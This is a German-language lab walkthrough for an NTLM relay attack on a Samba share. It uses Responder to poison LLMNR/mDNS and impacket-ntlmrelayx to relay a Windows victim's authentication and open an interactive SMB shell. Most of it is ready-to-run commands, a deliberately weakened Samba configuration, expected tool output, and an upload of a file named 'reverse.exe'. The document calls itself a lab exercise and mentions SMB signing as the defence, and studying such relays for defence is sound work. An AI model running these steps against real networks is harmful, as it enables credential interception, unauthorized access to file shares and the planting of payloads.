NTLM-Relay auf Samba-Freigabe mit Impacket
NTLM-Relay auf Samba-Freigabe mit Impacket (Laborszenario)
Ziel
Ein Windows-Client im gleichen Netz wird über LLMNR/mDNS vergiftet. Seine NTLM-Authentifizierung wird durch den Angreifer per ntlmrelayx an einen Samba-Server weitergeleitet. Dort wird dem relayed Benutzer Gastzugriff gewährt, sodass:
- SMB-Zugriff auf die Samba-Freigabe möglich ist
- Eine Datei in die Freigabe hochgeladen werden kann
Voraussetzungen
- Angreifer: Kali Linux mit impacket & responder
- Opfer: Windows-Rechner im selben LAN (z. B. 10.0.10.102)
- Ziel: Linux mit Samba (z. B. 10.0.10.104)
- Der Samba-Server erlaubt Gastzugriff auf einen gemeinsamen Share
1. Samba-Ziel vorbereiten
- Samba konfigurieren:*
[global] workgroup = WORKGROUP server role = standalone server passdb backend = tdbsam map to guest = Bad User guest account = nobody [share] comment = Relayziel path = /mnt/media/share read only = no guest ok = yes public = yes browseable = yes force user = nobody force group = nogroup
- Verzeichnis vorbereiten:*
mkdir -p /mnt/media/share chown nobody:nogroup /mnt/media/share chmod 777 /mnt/media/share
- Dienst neustarten:*
systemctl restart smbd
2. Responder starten (Poisoning-Komponente)
responder -I eth0
→ Vergiftet LLMNR und mDNS-Anfragen im Netz (z. B. wenn User `\\irgendwas` aufruft)
3. ntlmrelayx vorbereiten
- Mit interaktiver SMB-Shell starten:*
impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i --no-http-server --no-wcf-server --no-raw-server
→ Wartet auf NTLM-Anfragen und öffnet SMB-Zugriff zur Samba-Freigabe nach erfolgreichem Relay
4. Angriff auslösen
- Auf dem Windows-Opfer:*
Ausführen oder öffnen eines nicht existenten UNC-Pfades (z. B. via Explorer):
\\irgendwas
→ Windows versucht Namensauflösung → wird vergiftet → NTLM wird an den Angreifer geschickt → ntlmrelayx leitet weiter
5. Ergebnis: Interaktive Shell auf Samba-Freigabe
Nach erfolgreichem Relay erscheint:
[*] Authenticating against smb://10.0.10.104 as DESKTOP-XXX\USERNAME SUCCEED [+] Opening SMB relay connection [!] Interactive shell opened smb>
- Dort kann man z. B. eine Datei hochladen:*
upload /tmp/reverse.exe
6. Erfolg prüfen
Auf dem Samba-Ziel liegt nun eine Datei im Freigabe-Verzeichnis:
ls -l /mnt/media/share
→ Ziel erreicht: SMB-Zugriff über NTLM-Relay hergestellt, Datei erfolgreich übertragen
Zusammenfassung
| Komponente | Aufgabe | |------------|---------| | responder | Vergiftung von Namensauflösung | | ntlmrelayx | Relaying von NTLM auf SMB-Ziel | | Samba | akzeptiert relayed Authentifizierung als Gast | | Ziel | Datei auf Samba-Freigabe schreiben |
Hinweise
- Wird der relayed Benutzer nicht akzeptiert, hilft:
- map to guest = Always
- Ohne Schreibrechte bringt der Zugriff wenig – Ziel so konfigurieren, dass write möglich ist
- Nur für Labor geeignet – in Produktivnetzen schwer absicherbar (SMB Signing aktivieren!)